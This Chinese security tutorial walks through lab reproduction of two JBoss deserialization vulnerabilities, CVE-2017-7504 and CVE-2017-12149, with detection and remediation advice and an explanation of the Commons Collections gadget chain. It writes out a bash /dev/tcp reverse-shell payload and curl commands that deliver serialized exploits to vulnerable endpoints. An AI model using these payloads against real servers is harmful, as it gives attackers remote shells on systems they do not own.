【玩转漏洞】JBOSS反序列化漏洞探索
文/王雪飞
前言
JBoss是一个开源的符合J2EE规范的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用,这使得它广为流行。作为常用的Web中间件,JBoss的历史版本爆出过很多漏洞,本文将介绍两个常见的反序列化漏洞。
JBoss 介绍
JBoss是一个管理EJB的容器和服务器,在J2EE应用服务器领域发展迅速。JBoss应用服务器具有许多优秀的特质,使得它是健壮的、高质量的,而且还具有良好的性能。
JBoss 4.x JBossMQ JMS反序列化漏洞(CVE-2017-7504)——高危
1
漏洞原理
JBoss AS 4.x及之前版本中,JBossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
2
漏洞复现
在kali虚拟机安装docker
$systemctl start docker
$git clone https://github.com/vulhub/vulhub
进入目录jboss/CVE-2017-7504,启动docker环境。
$docker-compose up -d
访问http://10.0.2.15:8080可以正常访问JBOSS服务器。
访问路径/jbossmq-httpil/HTTPServerILServlet。
下载反序列化工具:
https://github.com/joaomatosf/JavaDeserH2HC
编译生成.class文件:
$ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
ser全称是serialize,序列化恶意数据到文件。生成ser文件:
$ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i>& /dev/tcp/10.0.2.15/1234 0>&1”
查看.ser文件,可以看到反弹shell的命令。
将该文件作为请求数据主体发送数据包。—data-binary表示以二进制的形式发送数据。
$curl http://10.0.2.15:8080/jbossmq-httpil/HTTPServerILServlet - -data-binary @ExampleCommonsCollections1WithHashMap.ser
在攻击机监听1234端口,可以成功反弹shell。
3
监控策略
访问jbossmq-httpil/HTTPServerILServlet路径,且POST数据包中存在执行命令的操作。
4
处置建议
影响范围:<=4.x
修复意见:升级版本。
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)-高危
1
漏洞原理
该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
2
漏洞复现
在官网下载jboss-6.1.0.Final,修改jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml文件,使得非本机可以访问Jboss服务。
双击bin/run.bat启动jboss服务,出现下图内容则表示服务启动成功。
访问172.16.1.54可以正常访问jboss服务。
编译生成.class文件:
$ javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonCollectionsHashMap.java
生成.ser文件:
$ java -cp .:commons-collections-3.2.1.jar ReverseShellCommonCollectionsHashMap 172.16.0.183:1234
将该文件作为请求数据主体发送数据包。—data-binary表示以二进制的形式发送数据。
$curl http://172.16.1.54:8080/invoker/readonly —data-binary @ReverseShellCommonCollectionsHashMap.ser
在攻击机监听1234端口,成功反弹shell。
3
监控策略
访问invoker/readonly路径,且POST数据包中执行命令的操作。
4
处置建议
影响范围:5.X,6.X
修复意见:1)删除http-invoker.sar 组件;2)http-invoker.sar下web.xml中对其进行访问控制;3)升级版本。
POC原理
前边讲到的POC都是利用Apache Commons Collections实现Java反序列化。Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,提供很多强有力的数据结构类型并且实现了各种集合工具类。前边两个漏洞的POC均利用该基础库实现,使得程序在反序列化时,直接实现任意代码执行。
实现过程如下:
Apache Commons Collections中实现了类TransformedMap,可以对Map类(存储键值对的数据结构)进行变换。通过调用decorate()函数,传入key和value的变换函数,就可以将任意Map对象生成相应的TransformedMap对象,decorate()函数代码如下:
Transformer是一个接口,定义了transform()函数用来将一个对象转换成另一个对象。当Map中的任意项的key或者Value修改时,相应的transform函数都会被调用。多个Transformer还能串起来,形成ChainedTransformer。Apache Commons Collections已经实现了一些常用的Transformer,,其中有一个可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:
只需要传入方法名、参数类型和参数,即可调用任意函数。因此要想任意代码执行,我们可以首先构造一个Map和一个能够执行代码的ChainedTransformer,调用decorate函数将Map转换成ChainedTransformer类型,然后想办法触发Map中的MapEntry产生修改(例如setValue()函数),即可触发transform函数执行任意代码。测试代码如下:
上述代码运行至setValue()时,就会触发ChainedTransformer中的一系列变换函数:首先通过ConstantTransformer获得Runtime类,进一步通过反射调用getMethod找到invoke函数,最后再运行命令calc.exe。但该方法需要触发Map中某一项去调用setValue(),我们希望的是在反序列操作及执行readObject()时直接触发。
Java运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量memberValues是Map类型。AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数。
因此,我们只需使用前面构造的Map来构造AnnotationInvocationHandler,进行序列化,当触发readObject()反序列化的时候,就能实现命令执行。同时,想要在调用未包含的package中的构造函数,我们必须通过反射的方式,综合生成任意代码执行的payload的代码如下:
前边讲到的两个漏洞的EXP漏洞原理也和上边讲的一致,可能使用的Java调用链不同。反序列化工具ysoserial使用的也是上述原理,可查看源码学习。
The End
往期导读
· 信息安全技术团队 ·
安全就是效益 责任重于泰山
我知道你 在看 哟